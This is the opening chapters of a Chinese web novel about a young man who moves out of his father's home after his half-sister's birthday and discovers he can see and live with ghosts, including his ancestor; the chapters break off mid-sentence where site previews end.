《人鬼交流所》 1. 生日宴会 《人鬼交流所》全本免费阅读 “温令羽，原来你躲在这里？我找了你半天。” 宋时盛端着不知道从哪里拿来的两盘蛋糕，两只手各一盘，完全空不出来开门，只能靠动静声来让温令羽搭把手。 等阳台玻璃门开了，温令羽这才发现宋时盛的脸上还有不少蛋糕渍，与他精心打扮的着装明显不符，有些狼狈。 温令羽没给好友面子，嘲笑他，“你这是去参与那群小屁孩的蛋糕大战了？” 靠着玻璃的反光，宋时盛将脸上的东西擦了个干净，还顺带整理了他的发型，欣赏完他的美貌后，总算进入了正题，“你妹生日，你倒是躲了个清闲，你爸妈在下面都要忙疯了。” 温令羽将视线往楼下看，侧边就是宴会主场地，热闹非凡，与这里的冷清截然相反，他沉默了一会儿才说：“你怎么来了？” 宋时盛没拿叉子，这会儿直接上嘴，“你妹生日请了全班人，我弟闹着非要过来，我嫌他吵就来了。” 宋时盛的弟弟和温昕是同班同学，两家人的关系挺亲近，平时也会有走动。 不过温令羽和宋时盛的友谊纯粹是凭自己建立起来的，与家里一点儿关系都不沾。 毕竟温令羽就没以温家少爷的身份在外露面过，平时有宴会，温父并不会带上他。 宋时盛爱吃甜食，两份蛋糕都是给自己准备的，在阳台上全吃完后，就没想继续待下去，便想撺掇温令羽一起离开。 “反正你也不参加，要不然我们撤退吧。”宋时盛实际上已经做好了准备，哪怕是把口水全说干了，他也得把温令羽带走。 出乎意料，宋时盛一说，温令羽就答应了，十分爽快。 温昕的生日宴是酒店承办的，温昕喜欢大草坪，酒店便将宴会主现场摆在后院。 这里是二楼阳台，出口在一楼，他们得下去。 宋时盛要去找他弟弟，他先行离开肯定要嘱咐弟弟几句，人是他带出来的，他中途走了，回头家里人肯定要怪他。 两人走下了最后一节台阶，温令羽让宋时盛去后院找完再来找他，“你自己去，我在这里等你。” 温令羽不似宋时盛，妹妹的生日宴会中途溜走，被家里人知道必是要被责怪的，宋时盛犹豫了，他或许不该让温令羽走的。 “要不然还是等宴会结束再走？”宋时盛将选择权交给了温令羽。 温令羽不理解宋时盛为什么临时反悔了，但既然他话都说出口了，自然是没有反悔的余地的。 “你不走那我走了。” 温令羽做好了决定，宋时盛也就没有顾虑了，“那你等我一下，一起走。” 宋时盛走得飞快，而温令羽自己则往酒店门口走，准备在大门口等宋时盛出来。 突然，迎面就撞上温昕双手抱着跟她人差不多大的玩偶走了过来。见状，温令羽转身就要往回走，要问他此时最不想见的人，就是自己面前的小家伙了。 “你要走了吗？”温昕目光直勾勾盯着温令羽。 在她天真的眼光下，几乎是无法隐藏内心的情绪，温令羽可以用善意的谎言，但他打心底里是不想欺骗她，所以温令羽承认了，点了点头。 话落的瞬间，温昕眼里浸满了泪水，“可是你答应过的，来参加我的生日会的，说话不算话，骗子。” “我来过了，只是有事要先走了，没有骗你。”温令羽努力辩解道，伸手想给温昕擦泪水。 今日的温昕是造型师特意打扮过的，活脱脱就是位漂亮公主，尽管被眼泪浸过，但依旧美得不像话。 “那你吃蛋糕了吗？”温昕努力找了理由，是想让温令羽留下来的理由。 温令羽脑海中闪过了宋时盛带来的蛋糕，粉红色的，上面还有一颗草莓，于是他回复道：“吃过了，蛋糕上面的草莓很好，我最喜欢。。” “温令羽，走了。”宋时盛的声音从两人身后冒了出来，走过来看到温昕这副样子愣了半晌，“怎么了？你哥哥欺负你了？” 像是只要温昕点头，宋时盛讨公道的拳头就会落在温令羽身上。 “你看，哥哥的朋友来了。今天是生日，不是说要做全场最美丽的公主吗？”温令羽安慰的话总是很贫瘠，但是他确实是尽力了。 不远处，温父正在到处找温昕，在这里的两人都能听到他叫人的声音。 温令羽让温昕赶紧回到宴会现场，不要让宴会中的其他人等她太久。 更何况生日主人公不在，温令羽都可以想象到温父和阿姨有多心急。 见温昕迟迟不动，气氛逐渐僵持住，温父的声音越来越近，临走前，温令羽说：“生日快乐，温昕。” 宋时盛和温令羽一齐到了大门口，对于接下来的目的地，双双没有任何打算，可出都出来了，总不好再退回去。 “咱俩十八成年了，要不去网吧？”宋时盛整个暑假都荒废在了电脑上，这时候闲下来自然而然就想到这个了。 更何况，网吧里的电脑确实比家里要好，还没有人管，要是能有时间，确实喜欢去网吧搭伙一起开黑打游戏。 温令羽现在对这个不感兴趣，说道：“我回家睡觉。” 对此，宋时盛十分不满，简直是想直接掐死某人，“你不觉得你有点孤立大家了吗？一毕业就不准备再联系了吗？” 温令羽当然不是这个意思，“是今天起得太早了，下次，下次一定来。” 宋时盛不接受这番敷衍了事的做派，果断约好人，给温令羽下最后通牒，“人是约好了，你就说个准话，去还是不去？” 除了毕业典礼那天晚上，温令羽确实怎么没参加过朋友们的聚会，游戏也没来过几把，愧疚感席卷而来，温令羽妥协了。 眼见车都已经打好了，温令羽才想起了关键，他身份证没带。 “完了，我没带身份证，开不了机。” “去拿，地址我发你。” 温令羽左右拧不过宋时盛的脾气，同意了宋时盛的提议。 在酒店门口，温令羽打了辆车回家，宋时盛先去了他们常约的包厢。 身份证放在 2. 搬出温家 《人鬼交流所》全本免费阅读 不对。 其实只有客厅亮着灯，但温令羽知道，家里没有一个人会为他留盏灯等他回来。 输入密码，开门。 声音瞬间吸引到了屋内的人，温昕从电视移到门口，这个时候能回来的也就温令羽一个人了。 温令羽一进门就发现所有人都在客厅里，温昕正捧着一块小小的草莓蛋糕站在他面前，作势要把东西给他。 这块草莓蛋糕不算精致，应该是时间长了，动物奶油有些融化，塌了。 温令羽在外吃了好几轮，肚子确实是装不下了，而且他不爱吃甜食，喜欢的人是宋时盛。 “我在外面吃过了。” 温令羽尽量无视温昕瞬间耷拉下来的情绪，然后对温父说道：“我先回房间了。” 说完，就往楼上的房间走去。 “站住！”温父愠怒的声音从背后响起。 温令羽停了下来，温父依旧生气，“你到底有没有把这里当成家？” “妹妹生日宴人影都没见到，要不是服务员说你走了，我都快要报失踪了！” “你妹妹等你到这么晚，你现在就这个态度？” 要是以前，温令羽早就和温父吵起来了，据理力争，一点不让自己落了下风。 这会儿又重演了，温令羽注意到被这场面吓愣在原地的温昕，最终还是叹了口气，并不准备和温父顶嘴。 温令羽蹲在温昕面前，在这个小身板面前，温令羽更显高大，摸了摸她的头发，“哥哥实在是吃不下了，明天早上当甜点可以吗？” “明天不会坏吗？现在这么热。”温昕回应道。 温令羽摇摇头，说道：“没关系，放冰箱里不会坏。” 见状，温父也不好再继续指责，可就让他就此作罢，这并不能让他甘心，像是少了一件可以立威的事情，少了作为父亲的威严。 “早这样不就好了，非得要把气氛搞得这么僵硬，以后要改……” 温令羽没管温父的话，直接就回了房间。 将身份证放回原位，温令羽转而就打开了手机浏览器，点开搜索栏时，他犹豫了。 最后输入。 【十八岁可以改户口吗？】 下面就有搜索答案：【可以。】 有了这个，后面一大串解释就没有看下去的必要，至少在现在心情复杂的温令羽这里，他完全不想看下去。 直接关闭了界面，眼不见心里就不烦，换了个状态洗漱休息。 办理大厅的上班时间是跟着工作日来的，明天是周日，照例是没有人上班，去了也是扑个空。 这件事说急，倒也不至于等不到一天。 而且，另立门户之后，温令羽还得收拾行李搬家，把东西搬到自己的房里去。 那个房子是母亲留给温令羽的，她改嫁之后就搬到了另一座城市，卖出去不划算，干脆就直接过户到了温令羽这里，当作抚养费。 离学校近，温令羽高中三年都是住在那边，非必要时间是不回温家的。 温令羽边想着这些，边进入了梦乡，这一整天下来，他的力气已经耗了个精光。 繁忙过后的觉总是格外香甜，温令羽一不小心就睡到了下午，家里的其他人都已经出门了。 保姆阿姨热了中午剩下的饭菜，温令羽自己去到了冰箱那里，发现昨天的蛋糕不见了。 “阿姨，冰箱里的蛋糕去哪里了？” 阿姨过来一看，想到了早上发生的事情，“早饭的时候，小姑娘吃了一口说坏了，她就扔掉了。” 阿姨以为温令羽是想吃，然后说道：“想吃的话，现在可以重新做一个，可以糖放少一点。” 温令羽摇了摇头，拒绝了这个提议，然后自己重新回到餐桌上吃饭。 吃完饭后，温令羽就到自己房间，开始整理起自己的东西来。 从跟父亲起，都在这里生活，温令羽其实从没想过真正搬走，哪怕是有了自己的房子，只当作临时落脚点。 重要的、团聚的日子都会回来。 温令羽把自己小时候收藏起来的宝贝一件件放进箱子里，房间里的东西一件件少去，最后就是他的衣服。 第一次，温令羽发现他的房间原来能这么空旷，甚至有点小。 否则为什么能这么快收拾完。 刚巧是在晚饭点，温令羽担心碰见温父又是新一轮的争吵，特意下楼看了一眼。 阿姨还在准备晚饭，看到温令羽逛到厨房，赶忙解释道：“温先生刚刚打电话来说要晚一点回来，晚饭要迟一点准备，现在是饿了吗？需要早点开饭吗？” 留了彼此一个清净，温令羽让阿姨继续忙活，自己则是搬着东西离开了这个生活了这么多年的房子。 将箱子全堆在地上，时间比较晚了，根本没有收拾的心情，整个人赖在沙发上。 晚上九点，温令羽接到了温父的电话，他走的时候一点儿没藏着，温父打来并不意外。 本以为又是一顿骂，温令羽都准备要静个音当作没听见，出乎意料的是，温父很平静。 “搬出去了？”温父仅仅只是一句询问。 温令羽惊讶于温父的冷静，半晌后才找回了自己的声音，“是的。” “搬出去了也好，你妈留给你的房子空着也是空着，反正你也不爱待在这个家里。”温父说完这一句，接着补充道：“是你自己要搬出去的，别到处说我这个做父亲的虐待你。” 温令羽回复道：“我没这么闲。” “吃好喝好供养到你成年，仁至义尽了。”温父半点儿不让人，把自己从头到尾撇得干干净净的。 知父莫若子。 温令羽都能猜到温父的下一句要讲什么，正因为知道，所以听下去的兴致全无，敷衍了两句就挂了电话。 调好了第二天一早上的闹铃，把户口一迁走，以后温令羽就是自己的户主了。 再也不在别人的名下了。 但令温令羽没想到的是，温父为了撇清关系，甚至将电话打到了前妻令美珑女士那里，要让令美珑女士知道这次的事情是她儿子自己搞出来的。 “阿羽 3. 办理大厅 《人鬼交流所》全本免费阅读 “不好意思，这个办不了。” 工作人员重新将两样东西退还了回去，然后继续询问温令羽，“请问还有什么需要办理的吗？” 温令羽把昨天晚上的浏览记录打开，递给工作人员看，“你看，这上面不是说了可以办理吗？” 工作人员凑近查看，同时还扶正了他的眼镜，确保能看得更清楚，确认过了内容，他重新挂上招牌笑容。 “这个是变更姓名的查询，更换户主不是这个。” 工作人员尽力憋着笑，毕竟这不管不顾就来的，他从业的几年来，是头一回见到。 温令羽这下也是看清楚了，查错了，全怪这个搜索引擎的精准查询，查不到不说，给他换了个答案。 一时间气氛有点尴尬，想着来都来了，温令羽干脆直接问：“那更换户主需要什么条件？” 这问题是问对口了，这个窗口就是处理这些的，工作人员回答道：“除了成年以外，还需要证明经济独立等条件。提交的材料可以有结婚证、房产证等，并不唯一，可以都有。” “当然，在有一些情况下，还要变更申请单，申请单是需要盖章签字的。” “所以，提交的资料不足是无法办理的。请问还有其他问题吗？” 后面还有排队的人，温令羽不浪费时间，摇了摇头就离开了窗口。 看来，他把这件事想得太简单了。 边想着，温令羽边准备回去。 思绪一直想着其他的事情，完全没注意到正迎面跑过来的人。 相撞的瞬间，温令羽感觉到他完完全全是被推倒在地上的，随即他手上的东西也散落一地。 没一会儿就缓了过来，还和对方看了好几眼，在确认对方的情况。 突然，有一道奇怪的声音响起。 “你姓温？” 声音很轻，但却又忽视不了，温令羽环顾了四周，在他撒落的东西旁站着个熟人，就是他刚刚道别的老人家。 确认了是他在说话，温令羽本想作答，谁料旁边围观的好心人帮他捡东西。 眼睁睁的，看见那个老人家被生生穿过去，然后对方把东西塞进手中。 这一幕过于骇人。 温令羽瞪大眼睛直直盯着那个方向，手指想给其他人示意，就被人打断了。 撞他的人看见温令羽这个表情，以为是把人撞傻了，赶紧上前扶住他，“兄弟，你没事吧？我刚刚太急了没刹住。” 本来就临近中午下班，他心里着急，没顾上前面的路，一不小心就撞到了人。 温令羽缓过了神，本身他就没问题，便让对方先走了，“没关系。” 然后，他惊讶地发现在场的人只有他能见到那位老人家，后知后觉地回忆起刚刚发生的一切。 所以他刚刚是扶了个空气？ 顿时尴尬感盖过了恐惧，温令羽问当事人：“我刚刚在别人眼里，就是个自顾自和空气说话的，看上去脑就有毛病的人？” 温老点了点头，还非常好心地补充提醒道：“只有你能看见我，在其他人眼里就是在和空气对话。” 此地人多眼杂，不宜久留。 温令羽赶紧带着温老出去，找了个偏僻没人的角落，“你是谁？你做什么要跟着我？为什么只有我能看见你？” 温老指了指温令羽手中的户口本，要搞故弄玄虚那一套，只给提示，要让温令羽自己猜。 偏偏温令羽就不吃这一套，他完全没有深究下去的打算，见温老迟迟不说，温令羽抬脚就走，半点儿没留下。 烈日炎炎下，温令羽是待不下去了。 在回程的出租上，温老一直在唠叨，“你再问我一遍！你再问一遍我肯定就说。” 温令羽可不想让旧事重演，硬是不理不睬，不问也不说。 等车到了温家楼下，温老已经憋不住，“小子，你知道对你老祖宗这么无理会有什么后果吗？” 这话听起来简直离谱到家了。 “我祖宗是鬼，你是吗？” 温令羽问完才发现不对劲，和他对话的人还真不是人，或许确实是个鬼。 果然，温老一脸骄傲，“我就是鬼啊！” 失策。 温令羽是来还户口本的，他略过耳边叨叨的声音，直接输入密码开门。 所幸，密码没改。 不过，这个家里倒是极其热闹。 星期一，工作第一天，温家的其他人都在，这到底是要闹哪样？ 温父是第一个看见温令羽进门的，很是惊讶，脱口而出：“你怎么来了？” 出口才惊觉不对，慌忙改口：“午饭吃了吗？要留下吗？” 温令羽把手里的东西给温父，“我来还这个的，不小心带出去了。” 户口本复印件是大学开学要用的，温父想到了这点，“生活费我会打到你的卡上……” 说的话乍然被打断，“好了别说了，你快过来看看你女儿。” 温昕被抱在继母怀里，小脸一片惨白，没有什么血色，整个人看起来极其虚弱。 温令羽待在那里格格不入，干脆什么话也没留下，转身就离开了。 要是再不走，他就憋不住笑了。 温老自从进门起，一直絮絮叨叨在讲这个家的布局哪里差，风水这里不行。 再然后听到温父那一系列的话，气不打一处来，飘到温父旁边教育他，手拿着不知道从哪里变出来的拐杖。 但拐杖是虚拟的，打不到实体，只能打一打空气。 于是，这一切被唯一的目击者看到，惹人发笑。 凝重氛围内，温令羽使劲憋住了笑意，完全留不下来，连借口都没找就走了。 温老教育正在兴头上，关门声才把他的思绪拉回来。 顾不上这里，直接穿门赶上温令羽的步伐，“你这小子，走这么快是赶着投胎啊？” 温令羽又想到了刚才的场景，“你真的是我老祖宗？” 这话太过于荒诞，任谁来都不会轻易相信，可却又没有不信的理由。 温老直接贴脸，“你看看我们的长相，绝对是一个模子里刻出来的。” 可能鬼魂留的是生前最后一面，满头白发，苍老无力，和他的精气神一比，完全是两个样子。 温令羽不认可这看法，“你确定吗？这能看出来什么？” 温老似乎也意识到自己现在的模样，“虽然现在看不出来，但你老了肯定也长这个样。” 温令羽没继续问下去，毕竟这个答案无论是否，都会跟着他。 不如去相信他是，至少不是个陌生人。 接受了这个说法，温令羽也接受了有一只鬼跟着他的事实。 温老跟着温令羽回了自己家，将主卧那一间给了他。 温令羽一直住的是自己的房间，尽管原有的屋主已经搬走，但主卧长久空闲在那里，平时有朋友来住，都是住的客房。 说不清是什么样的感觉，只是总觉得要空下来。 现在打破了，发现好像并没有怎么样。 一人一鬼，一老一小。 在这个小屋子里真正安顿下来。 温老刚来这里不久，对每个物件都十分好奇，时不时就飘来问温令羽。 为什么是飘呢？ 是他发现这个方式更快、更方便。 “你知不知道很吓人的？”在看到温老迎面飞来的时候，温令羽属实是忍不住了，准备跟温老商量一下，用成走的。 温老不买账，“可是走真的很累，我是个老人家。” 温令羽顿时醒悟过来，这就是对他的“劫难”。 温老刚来时，他并不习惯鬼的身份，于是尝试行走，但他又许久没当人，不会行走。 这个难以前行的样子就被温令羽看见了，然后就同情心泛滥，去扶了。 召回来个祖宗。 商量失败，温令羽只能自己努力适应时不时在他眼前晃的阿飘。 这段日子，虽忙碌但充实。 可在其他人的眼中，一直不出门，不参加集体活动的人，就非常奇怪了。 于是宋时盛叫了一帮小伙伴来敲温令羽的家门了。 温老先去看了人，被乱七八糟颜色的头发的人吓退了，眼见温令羽要开门，阻止他：“门口站在好几个来闹事的，千万不能开门。” 听小老头这么说，温令羽先是打开门口的监控，确认了是熟人，“都是朋友，不是来闹事的。” 双方见面第一句是 4. 密室逃脱 《人鬼交流所》全本免费阅读 站在一旁准备把人领进去的工作人员已经见怪不怪，可一直在门口堵着不合适，催促道。 “你们决定好了吗？” 小年轻都好面子，人家都催了，更是不好意思继续磨蹭下去。 然后，不知道谁先站到了后面，温令羽就被推到了最前面。 这个队伍就成型了，温令羽站在最前面，今日寿星被放在了最后一个，其他人乱七八糟地站在了两人的中间。 温老没玩过也没见过，好奇得很。 玩得是废校，哪怕是全黑的，还是能通过微弱的烛光看清一点，更何况温老作为鬼，是不受影响。 空灵又恐怖的音效，给整个逃脱增添了氛围。 温令羽反倒是其中最没有游戏体验感的，主要是旁边温老一直在问他。 “我们这是去哪里？” “这个地方怎么又新又旧的？” “那个人锁门了，他要关你们，这种情况是不是要报警求救？” 报警这个词，大概是他从电视里学来的。 温令羽躲在角落一一和温老解释，“有什么事我们回去说行不行？我真的不想被当成有病的。” 温老许是理智回归了，想清楚，要是在外被发现自言自语，温令羽绝对要去医院走一遭。 有了片刻的清净，温令羽总算能回归游戏本身。 但谁能告诉他，明明说好不害怕的几个人，时不时被吓到尖叫，这到底是要闹哪样。 “不是说不怕的吗？”温令羽一点面子不留。 宋时盛躲在温令羽身后，哆嗦着反驳，“我刚毕业，学校的恐怖程度是加了buff的。” 这么说，其他人也附和道：“就是就是，身临其境。” 在场唯一一个坦，一边护着其他人，一边忙着解题逃脱。 终于逃脱了两个房间，到了第三个寝室浴室间，而这里恰好就有单线任务。 好巧不巧，今日寿星就抽到了这个角色，得独自一个人站在镜子前。 提示里说其他人要躲进浴室隔间，但这个地方小，只有两个，而且隔间面积不大，每间只能站下两个成年人。 其他人早就跑进去了，宋时盛晚了一步没挤进去，隔间门已经从里面关上了。 似有若无的脚步声慢慢靠近。 同样没进去的还有温令羽，温令羽看了四周，拉着宋时盛蹲到了隔间角落，还把用来照明的小烛灯藏在了身后。 整个浴室空间彻底黑了下来。 寿星站在镜子前，按照指令整理头发，然后后面就出现了npc的身影，尖叫声瞬间响彻了整个房间。 npc还要去吓在浴室隔间里的几个人。 声音就没停下过。 而唯一的两个漏网之鱼，目睹了全程，宋时盛刚开始还害怕，到后来好玩占了上风。 “太好笑了。”宋时盛轻声说道。 温令羽对此深表赞同，站在玩家角度太沉浸了，可真从其他方向看，别有一番感觉。 终于，这一部分过去了，浴室里的灯重新亮了起来。 寿星已经吓懵了，一脸惊魂未定。 宋时盛不忍心了，扶着他继续进行任务。 从最后一个密室里逃出来，天已经暗了下来。 进去的时候是下午，出来已经是傍晚了。 实在是筋疲力尽，本来想去吃个夜宵，但都没什么心情，结束后就各回了各家。 宋时盛练出来一点胆量，意犹未尽，叫上温令羽一起去吃晚饭。 出来晚了一点，两人在楼下等车的时候，密室逃脱老板追了出来，“你们的视频没拿走？” 逃脱搞笑合集。 宋时盛记得他前期丢脸的模样，顺势想让老板把这个东西给删干净。 “加我，发给我就行。” 开玩笑，温令羽全程高光时刻，怎么可能会让老板就这么删除了。 等到了车上，宋时盛和温令羽打了个商量，“回去把我那部分给截了，这顿晚饭我请了。” 面对如此有诚意的时刻，温令羽爽快地答应了：“没问题。” “奇怪了，你怎么真不怕啊？”宋时盛以为温令羽同他们一样是强撑，没想到人家是真心不害怕。 要是你能看到鬼，被鬼训练个几天，你也能不害怕。 温令羽在心里狠狠吐槽，表面上倒是一点没显出来，“我就是这么厉害。” 假期总会在不经意之间偷偷溜走。 温令羽去母亲那边待了一周，回来就直接开学了。 考的是本地的大学，和宋时盛是同一个专业。 由于要军训，学校的走读办不下来，得要军训结束之后才行。 一个专业这么多人，分到一个寝室的概率是极低的。 但意外的是，宋时盛和温令羽还不在一个楼，分到温令羽已经是末尾了，剩下的都分到了另一幢。 温令羽只带了半个月的衣服过来，开学之后他就会搬出去。 他是他们寝室最早到的，等到最后一个室友到学校报道，已经是傍晚了。 寝室里几人相互一介绍，除了温令羽，其他人的家都是外地的，听说温令羽军训后就搬出去，一个个羡慕不已。 “那就意味着你不用花钱洗澡了？” “你是不是没有门禁了？” “还不会断网。” 三个室友一人一句，温令羽中途连个插嘴的机会都没，等他们全说完。 温令羽尴尬地笑一笑，“你们还挺了解这个学校的。” 由于隔天还要军训，开学报道也累，所以几人没熬夜，早早熄灯休息。 暑假的时差没有调整回来，温令羽翻来覆去，没有丝毫睡意。 宋时盛忽然来了消息，“来开黑，差一个。” “寝室熄灯了，玩不了。”玩游戏必然是要开麦的，这个时候完全不适合。 宋时盛拍了张他们寝室全员在线的照片，“你寝室选错了啊，这作息太健康了。” 最后，温令羽也没去成，硬生生给自己熬困了。 第二天军训打铃，室友们根本没反应，还是温令羽一个个去叫的。 全是黑眼圈。 “你们半夜做贼去了？” “我从没这么早睡觉，一不小心就熬到了后半夜。” “原来你们都没睡啊，昨天游戏根本不敢开声音。” 5. 因祈愿来 《人鬼交流所》全本免费阅读 幸好，只有温令羽能看见，吓不到其他人。 “那你体会到了什么？”不让话随便落在地上，是温令羽所坚持的。 坚持归坚持，能不能做得到，就难说。 温老刚准备说，就有其他鬼飘了进来，叫他出门，“温老头，快走，要开场了。” 这下，哪有心情和温令羽继续说，一颗心全扑在出门这件事上面，嘱咐了几句，就跟着那鬼走了。 留下温令羽一个人，独自待在家里。 实在是过于好奇，温令羽待不住，干脆跟在他们身后出了门。 飘用不着力气，光靠温令羽两条腿，绝对是比不上他们的，没一会儿就跟丢了人。 好在沿路都能遇到其他鬼，可以打听一番。 没有影视剧里播放的那样，一个个凶神恶煞，反倒是特别亲切地给温令羽指路。 长得不吓人，要不是飘在半空，几乎与正常人无异。 有了鬼指路，温令羽在一座废弃的小巷里找到了门，一推开，竟然是一家鬼开的酒吧。 众鬼没觉得人能看见他们，齐刷刷看了过来，然后齐刷刷移开了眼，继续忙自己的事。 这场面换成以前，温令羽肯定打道回府。 可他早习惯了，于是，温令羽面不改色坐到吧台位置上，“给我来一杯那个？” 担心人家听不懂，温令羽选择直接指给他看。 “他看得见我们！” “这到底是人是鬼啊？” “你傻啊？他肯定是人，他进来时我看到影子了。” “为什么啊？” 原本吧台边围着的一群鬼全都散开，把温令羽围在了中间，但双方隔得远，甚至鬼越来越往后退。 作为第一次吓到了鬼，温令羽表示非常抱歉。 “这里怎么了？”温老从里头的一间房里出来，见这场面也震惊了。 温老挤过一众鬼，就看到温令羽处在了最中间，想起温令羽的特殊能力，赶紧给大伙解释，“这是我小辈，小孩子能看见咱们，没有恶意的。” 这里的人相互之间都熟悉，听温老给温令羽做担保，纷纷放下心。 众鬼一改之前态度，都十分欢迎温令羽的到来，加上这能看见鬼的人太稀有了，一个个好奇得很。 围着温令羽东问西问。 成为了全场焦点，温令羽几乎脱不开身，一直被缠着问问题。 而温老就出来露了一次面，温令羽就找不到人了。 “我祖宗呢？”温令羽终于抽出空找人了。 调酒小鬼正在制作客人要的饮品，空不出手，说道：“往里走，靠右侧倒数第三间。” 热闹都在大厅，越往里面走，越安静，房间内的隔音做得也好。 太寂静的环境总会止不住多想。 到了门口，温令羽把头靠在门上，试图听出里面的动静。 趴了许久，都没有听见声音。 温令羽耐心耗尽，敲了门就直接进去了，里面没有灯，一片漆黑。 只有一处发出了亮光，温令羽转身看，是一块幕布，上面正投影着电影。 微弱的光看清了温老所在的位置，一手可乐，一手爆米花，戴着眼镜看得悠哉游哉。 温令羽上了阶梯，坐到了温老隔壁的位置上。 整个房间内只有几只鬼，零零散散分布在不同的位置上，相互之间不打扰，算得上是包场看了。 这么大个人坐在旁边，温老一下就感觉到了。 “你不在外面玩，进来干什么？” 温令羽伸手去拿爆米花，“来看看你做什么？一下子就见不到人了。” 话是说了，但是手却摸了空。 这个爆米花是虚影的，是人无法摸到的，温令羽不禁想起刚才的酒，“所以那个酒我也是喝不到的，是吗？” 温老又往嘴里塞了几颗，“给鬼服务的，你这个人瞎凑什么热闹。” 这话说得也对，温令羽十分赞同，想着回去也没事，干脆就留在这里看电影。 这部电影是早些年的经典片子，不过一直没有重映。 但到底是看过的影片，播放到后面，温令羽已经靠在椅背上睡着了，连什么时候结束都不知道。 只知道醒来之后，电影还在播放。 可是温老不打算看下去，叫醒温令羽后就走出了房间，来到了大厅。 “不看了吗？”温令羽有些疑惑。 “你饭都没吃，下回再来。”温老还记着温令羽搬了行李回家，连口热乎饭都没吃上。 又军训，又搬行李。 温令羽是该疲累了。 回去的路上，温令羽绕到了超市买了不少食材，准备回家自己做饭。 电影是不看了，但是电视依旧可以继续。 温老挑了部自己上回没看完的。 看着这场面，温令羽忽然想起电视里对鬼的评价，有些好奇，“你们当鬼的，为什么不和电视里说的那样？” 温老看过一部剧讲到了鬼，不过只看了前两集就弃掉了，对于爱看的人，这是第一次弃剧。 “吓人的鬼同样存在，只不过不在这里而已。”温老解释道。 温令羽有了一个猜测，“只有好鬼才能来吗？” 温老笑了，说道：“鬼怎么分好坏啊？这个标准和定义没有鬼敢来定。” “那不靠这个的话，难道是要选拔？比如是考试。”温令羽想探究个所以然。 温老笑着摇了摇头，没卖关子，“是祈愿。” 人的祈愿。 “那你是神？不是说神可以满足人的愿望吗？”温令羽突然觉得自己应该对自家老祖宗更好一点。 这思绪歪到离谱的地方。 温老打破温令羽的幻想，然后无奈地告诉他事实，“鬼和人是有界限的，再怎么求，也是帮不了的，所以你才能看到这么多鬼。” “因为完成了祈求人的愿望，鬼就会消失。” “去哪里就不知道了，毕竟我还没有去过。” 白高兴一场，导致了温令羽一个晚上都打不起精神。 军训结束到正式上课，放了三天假期休整。 第二天大早，温令羽还在睡觉，就被宋时盛电话连环扣叫醒了，来叫他去加学生会和社团。 上午校级院级，下午社团。 报名表要 6. 收留小鬼 《人鬼交流所》全本免费阅读 没到十月，下午的温度比上午还高。 尽管活动放到了下午三点，避过了最热的时间段，但到场的人比上午少了。 温令羽和阿辛重新聚上，直接就去了活动现场。 他们是到得最早的，每个社团制作的宣传海报放在最前面，由于太热，这个时候没什么人来。 街舞社团和唱歌社团原定的招新表演，因到场的人少，不得不延后。 于是，温令羽一个人站在尽头，格外醒目。 社团见终于来了人，纷纷上前给温令羽做介绍。 每个社团设计的招新活动，吸引人来报名的把戏，除了表演以外，还有游戏。 大约玩到一半，陆陆续续也有不少人来参加，整个活动现场热闹起来。 温令羽还记得阿辛兴致冲冲和他说的轮滑，准备这个游戏结束就直接去轮滑社。 “阿羽，我想回去了。” 阿辛突然拉住温令羽，说他想回去了。 温令羽十分不解，“你不是想去玩轮滑吗？” 阿辛指了指隔壁社团排成的长队，排成长长的队伍是为了等待体验，在热门的社团会经常出现这种情况。 “现在人越来越多，玩了这么久已经够了。”阿辛给温令羽递了一张纸，后知后觉，鬼的纸是派不上用场的。 这一瞬间，温令羽明白了，他随便擦了一把额头冒出的汗水，“玩最后一个吧，刚刚轮滑社放的招新视频，我觉得很有趣。” “好。”阿辛应道。 两人没有原路返回，准备从另一个出口离开，迎面碰上宋时盛和其他同班同学。 宋时盛问道：“你什么时候来的？” 温令羽不易出汗，最多是额头上会有汗珠。 高中时打完球，其他人前后衣服湿了个透，而温令羽就是例外，每次被抓，温令羽说他是去上厕所也能被相信。 温令羽和同学打过招呼，说道：“来了挺久了，我先回去了。” 宋时盛抬头看了看天，震惊道：“天这么热？你是疯了吗？” 这话给温令羽搞沉默了，“早点来人少，不用排队。” 宋时盛看着温令羽一脸疲态，本想拉着人一起去看表演的，这下也没法，说道：“那社团表演你还去不去？” 温令羽累得不行，对表演没有兴趣，他摇了摇头，然后就离开了。 阿辛跟在温令羽后面，两人走到了校门口，温令羽打好了车。 见状，阿辛自己走开了。 等车等得无聊，温令羽想聊天打发时间，一看阿辛，已经走远了。 温令羽本意要把人带回去，哪能这么轻易让人走了。 三步并作两步拉住阿辛，“你回家吗？要不去我家看看。” 然后，阿辛跟着温令羽坐上了回家的车。 温老今天没去和老友看电影。 昨晚的电视一直没追完，今天温令羽一早起来，就看见温老搁在家里追。 温老见温令羽带了个鬼回来，但他躲在温令羽身后，温老看不见好奇，“你从哪带回来的小鬼？” 阿辛先是向温老鞠了个躬，说道：“老先生。” 明显两鬼是认识的。 温老让阿辛别拘束，就把这里当成自己家，“要是没地方去的话，就留在这里吧。” 作为主人，温令羽拥有知情权。 三人齐齐坐在餐桌前，温令羽坐在了首位，让温老和阿辛坐在他的两侧。 餐桌礼仪是忘了个全光。 温老虽是个生活在现代生活的鬼，但是他作为人的一生，熏陶着不管好的坏的传统。 在正式谈话前，温老语气非常不满，“没有规矩。” 此话一出，温令羽顿时瞪大了眼睛，“这是我家，你还好意思说我没规矩。” 眼看着两个人就要争吵起来，阿辛一边拦住一个，避免了“惨案”的发生。 说是要谈事，但一人两鬼都不知道要从哪说起。 于是，温令羽自己先开口问了：“你们怎么认识的？” “大概三个月前，在我家门口遇见的温老。”阿辛回答道。 “那你为什么没有地方去啊？”温令羽本想婉转措辞，左思右想，他承认他缺乏这个能力。 这会轮到阿辛沉默了。 把不幸和苦难说出来，是需要勇气的。 对于人家的隐私，温老是想让他自己说的，毕竟过了这么久，可能会走出来。 但如今阿辛闭口不言，温老明白他的意思。 “做鬼的，本来就没什么地方去，没有什么原因的。”温老回答道。 温令羽不懂他们鬼圈的方式，既然温老这么说，他也没有深究的必要。 于是温令羽拍了拍阿辛的肩膀，让他安心地待在这里，“我家反正不差一只鬼，你就放心待在这里吧。” 阿辛能住下来，最高兴的莫过于温老。 温令羽不愿意陪他看泡沫剧，怎么说都没用，但是，阿辛就会。 有了看剧搭子，一老一少，两只鬼，别提能有多惬意的。 在某个平凡的早晨，因为早八，温令羽起了个早，给自己热了个三明治当早餐。 客厅里的电视，不出意外的话，已经播放了一晚上。 温令羽一手拿着三明治吃，另一只手直接拔了插头。 不小心碰到了电视，已经有点发烫了。 